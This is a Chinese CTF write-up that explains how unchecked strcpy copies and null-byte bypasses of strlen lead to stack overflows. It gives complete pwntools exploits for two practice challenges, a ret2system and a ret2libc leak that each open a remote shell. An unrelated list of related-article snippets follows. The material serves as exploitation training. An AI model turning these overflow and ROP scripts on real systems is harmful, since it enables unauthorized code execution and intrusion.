strcpy,srtcmp,strlen函数漏洞利用

strcpy,srtcmp,strlen函数漏洞利用

strcpy

  1. strcpy函数用于将字符串复制到另一个指针指向的空间中,遇到空字符 **b’x\00’**时停止,:

    image-20240531103615735

  2. 所以可以利用 strcpy不检查缓冲区 的漏洞(构造的字符串要以\0结尾),进行缓冲区溢出攻击:

    例子:BUUCTF在线评测 (buuoj.cn)
    1. main函数中提供了4个函数供使用:

      image-20240531104018597

    2. 其中addlog函数进行输入,输入的长度位128个字符,调试观察他的栈上返回值(0x80488ec)在变量的上方,无法进行溢出,因此该函数只能作为输入:

      image-20240531104402495

      image-20240531104108026

    3. 后买你getflag函数中存在一个strcpy函数漏洞,可能可以进行栈溢出,动态调试观察其栈上的变化,可见只要 字符串长度超过0x4c 即可覆盖掉 getflag函数的返回值 ,在出去时即可挟持函数的控制流:

      image-20240531105005891

      image-20240531104533809

    4. 利用addlog函数输入构造的payload,长度超过0x4c即可,先只需要system函数地址,和’bin/sh/'字符串的地址即可,system函数程序自带,查询一下字符串:

      image-20240531105324125

    5. EXP:

      from pwn import *
      from LibcSearcher import *
      
      context(os='linux', arch='amd64', log_level='debug')
      
      p=remote("node5.buuoj.cn",28321)
      elf=ELF('./ciscn_2019_ne_5')
      
      p.recvuntil(b'Please input admin password:')
      payload = b'administrator'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'1')
      p.recv()
      
      #获取system地址
      sys_addr=elf.sym['system']
      sh_addr = 0x080482ea
      print(hex(sys_addr))
      
      #填充32位b'aaaa',作为system的返回值(不需要使用到,所以随便填)
      payload = b'a'*(0x4c)+p32(sys_addr)+b'aaaa'+p32(sh_addr)+b'\x00'
      p.sendline(payload)
      p.recvuntil(b':')
      p.sendline(b'4')
      p.interactive()
      
      

    strlen

    题目:[LitCTF 2023]狠狠的溢出涅~ | NSSCTF

    1. ida查看,题目给了一个栈溢出漏洞,虽然给了0x200的长度,但是后面用户strlen检查了输入的长度不能超过0x50,溢出长度明显不够。

    2. 但是可以利用strlen函数判断字符串时以 b’\x00’ 结尾,可以用b’\x00’绕过strlen的判断,EXP:

      from pwn import *
      from LibcSearcher import *
      # 设置系统架构, 打印调试信息
      # arch 可选 : i386 / amd64 / arm / mips
      context(os='linux', arch='amd64', log_level='debug')
      p = remote("node4.anna.nssctf.cn",28314)
      # p = process("./pwn4")
      elf = ELF('./pwn4')
      #获取got、plt地址
      got = elf.got['puts']
      plt = elf.plt['puts']
      print(hex(got),hex(plt))
      
      #获取传参地址
      pop_rdi_ret = 0x00000000004007d3
      main_addr = 0x00000000004006B0
      ret = 0x0000000000400556
      
      p.recvuntil(b'Leave your message:\n')
      #构造payload,获得puts函数的地址
      payload = b'\x00'*(0x60+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
      p.sendline(payload)
      addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
      print(hex(addr))
      
      # libc = LibcSearcher('puts',addr)
      # libc_base = addr - libc.dump('puts')
      # sys_addr = libc_base + libc.dump('system')
      # str_bin = libc_base + libc.dump('str_bin_sh')
      # print(hex(libc_base),hex(sys_addr),hex(str_bin))
      
      #查libc库的偏移
      libc_base = addr - 0x84420
      str_bin = libc_base + 		0x1b45bd
      sys_addr = libc_base + 		0x52290
      print(hex(libc_base),hex(sys_addr),hex(str_bin))
      
      #第二次利用栈溢出
      payload = b'\x00'*(0x60+8)+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)
      p.sendline(payload)
      p.sendline(b'cat flag')
      # 与远程交互
      p.interactive()
      
      

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/775340.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu / Debian安装FTP服务

本章教程,记录在Ubuntu中安装FTP服务的具体步骤。FTP默认端口:21 1、安装 pure-ftpd sudo apt-get install pure-ftpd2、修改默认配置 # 与 centos 不同,这里需要在 /etc/pure-ftpd/conf 文件夹下执行下列命令,增加对应配置文件: # 创建 /etc/pure-ftpd/conf/PureDB 文件…

半导体制造企业 文件共享存储应用

用户背景:半导体设备(上海)股份有限公司是一家以中国为基地、面向全球的微观加工高端设备公司,为集成电路和泛半导体行业提供具竞争力的高端设备和高质量的服务。 挑战:芯片的行业在国内迅猛发展,用户在上海…

3033.力扣每日一题7/5 Java

博客主页:音符犹如代码系列专栏:算法练习关注博主,后期持续更新系列文章如果有错误感谢请大家批评指出,及时修改感谢大家点赞👍收藏⭐评论✍ 目录 思路 解题方法 时间复杂度 空间复杂度 Code 思路 首先创建一个与…

Vue3从入门到精通(三)

vue3插槽Slots 在 Vue3 中&#xff0c;插槽&#xff08;Slots&#xff09;的使用方式与 Vue2 中基本相同&#xff0c;但有一些细微的差异。以下是在 Vue3 中使用插槽的示例&#xff1a; // ChildComponent.vue <template><div><h2>Child Component</h2&…

解决前后端同一个端口跨域问题

前端起了一个代理 如果url是api开头的自动代理访问8080端口&#xff08;解决前后端端口不一致要么是前端代理&#xff0c;要么是后端加过滤器&#xff09; proxy:{/api:{target:http://localhost:8080,changeOrigin : true,// 替换去掉路径上的api// rewrite:(path)>path.r…

java集合(1)

目录 一.集合概述 二. 集合体系概述 1. Collection接口 1.1 List接口 1.2 Set接口 2. Map接口 三. ArrayList 1.ArrayList常用方法 2.ArrayList遍历 2.1 for循环 2.2 增强for循环 2.3 迭代器遍历 一.集合概述 我们经常需要存储一些数据类型相同的元素,之前我们学过…

(2024)KAN: Kolmogorov–Arnold Networks:评论

KAN: Kolmogorov–Arnold Networks: A review 公和众与号&#xff1a;EDPJ&#xff08;进 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 进 V 交流群&#xff09; 目录 0. 摘要 1. MLP 也有可学习的激活函数 2. 标题的意义 3. KAN 是具有样条基激活函数的 M…

昇思25天学习打卡营第17天(+1)|Diffusion扩散模型

1. 学习内容复盘 本文基于Hugging Face&#xff1a;The Annotated Diffusion Model一文翻译迁移而来&#xff0c;同时参考了由浅入深了解Diffusion Model一文。 本教程在Jupyter Notebook上成功运行。如您下载本文档为Python文件&#xff0c;执行Python文件时&#xff0c;请确…

安乃达:看不懂的募资

不好玩啊&#xff0c;高标接连被S&#xff0c;市场激进资金找到了新股作为抱团方向。 首日大涨超100%&#xff0c;两日涨幅133%&#xff0c;今天果不其然被电风扇刮走了&#xff0c;今天我们聊聊新加入A股大本营的公司——安乃达。 首先&#xff0c;安乃达是国内直驱轮毂电机头…

vulnhub--IMF

环境 攻击机&#xff1a;192.168.96.4 靶机&#xff1a;ip未知 主机探测 确定靶机ip为32的主机 端口扫描 访问80端口 外围打点 在contact.php页面源码中找到了flag1 之后没啥突破 但查看网络后发现contact.php页面请求的三个js文件的文件名很有特点&#xff0c;猜测是base64编码…

数据结构——队列练习题

在C语言中&#xff0c;.和->运算符用于访问结构体的成员变量。它们之间的区别在于&#xff1a;.运算符用于访问结构体变量的成员。->运算符用于访问结构体指针变量的成员 1a&#xff08;rear指向队尾元素后一位&#xff0c;判空判满时牺牲一个存储单元&#xff09; 首先…

react 自定义 年-月-日 组件,单独选择年、月、日,并且产生联动

自定义 年-月-日 组件 code import { useState } from react function Year_Month_Date() {const [yearList, setYearList] useState([])const [monthList, setMonthList] useState([])const [dateList, setDateList] useState([])const [currentYear, setCurrentYear] u…

【React】上传文章封面基础实现

<Form.Item label"封面"><Form.Item name"type"><Radio.Group onChange{onTypeChange}><Radio value{1}>单图</Radio><Radio value{3}>三图</Radio><Radio value{0}>无图</Radio></Radio.Group&…

交叉测试的优点和缺点!

交叉测试在软件测试中具有重要的地位和作用。通过交叉测试&#xff0c;可以提高软件质量、提升用户体验、增加测试覆盖率、提高测试效率以及满足市场需求和竞争优势。因此&#xff0c;在软件开发和测试过程中&#xff0c;应充分重视交叉测试的实施和应用。 以下是对其优缺点的…

matplotlib下载安装

matplotlib下载安装过程同之前写的pygame很类似。 Pygame下载安装 python官网 1.搜索matplotlib 直接点进去 查看历史版本&#xff0c;因为新版本可能出现与python不匹配问题。 我选择3.6.3版本&#xff0c;因为我安装的python是3.8&#xff0c;可以匹配版本。同时window操…

泰迪智能科技企业项目试岗实训——数据分析类型

当今社会&#xff0c;就业技能的瞩目度正与日俱增。在竞争激烈的就业市场中&#xff0c;重视技能的培养和提升&#xff0c;通过学习与实践&#xff0c;增强自己的竞争力&#xff0c;为未来的职业发展打下坚实的基础&#xff0c;不仅有助于解决各类工作技能问题&#xff0c;更能…

使用Mybatis批量插入大量数据的实践

前言 在项目开发过程中&#xff0c;我们经常会有批量插入的需求&#xff0c;例如&#xff1a;定时统计任务 但是受限于MySQL中 max_allowed_packet 参数限制&#xff0c;5.7版本默认值为4M&#xff0c;这显然不太符合我们的需求&#xff0c;当然我们也可以通过修改此值来适应…

STM32和DHT11使用显示温湿度度(代码理解)+单总线协议

基于STM32CT&#xff0c;利用DHT11采集温湿度数据&#xff0c;在OLED上显示。一定要阅读DHT11数据手册。 1、 DHT11温湿度传感器 引脚说明 1、VDD 供电3.3&#xff5e;5.5V DC 2、DATA 串行数据&#xff0c;单总线 3、NC 空脚 4、GND 接地&#xff0c;电源负极 硬件电路 微…

【网络安全学习】漏洞利用:BurpSuite的使用-03-枚举攻击案例

如何使用BurpSuite进行枚举攻击 1.靶场选择 BurpSuite官方也是有渗透的教学与靶场的&#xff0c;这次就使用BurpSuite的靶场进行练习。 靶场地址&#xff1a;https://portswigger.net/web-security 登录后如下图所示&#xff0c;选择**【VIEW ALL PATHS】**&#xff1a; 找…

【fastadmin开发实战】经营数据自动识别录入

项目场景描述&#xff1a;每日录入各个门店的员工经营数据&#xff0c;直接从微信复制报数、系统识别录入。 解决方案&#xff1a;各个门店按照固定的汇报模板进行汇报&#xff08;如福田店有员工1、2、3、4、5号员工&#xff0c;每个员工按模板报数&#xff09; 例如&#xf…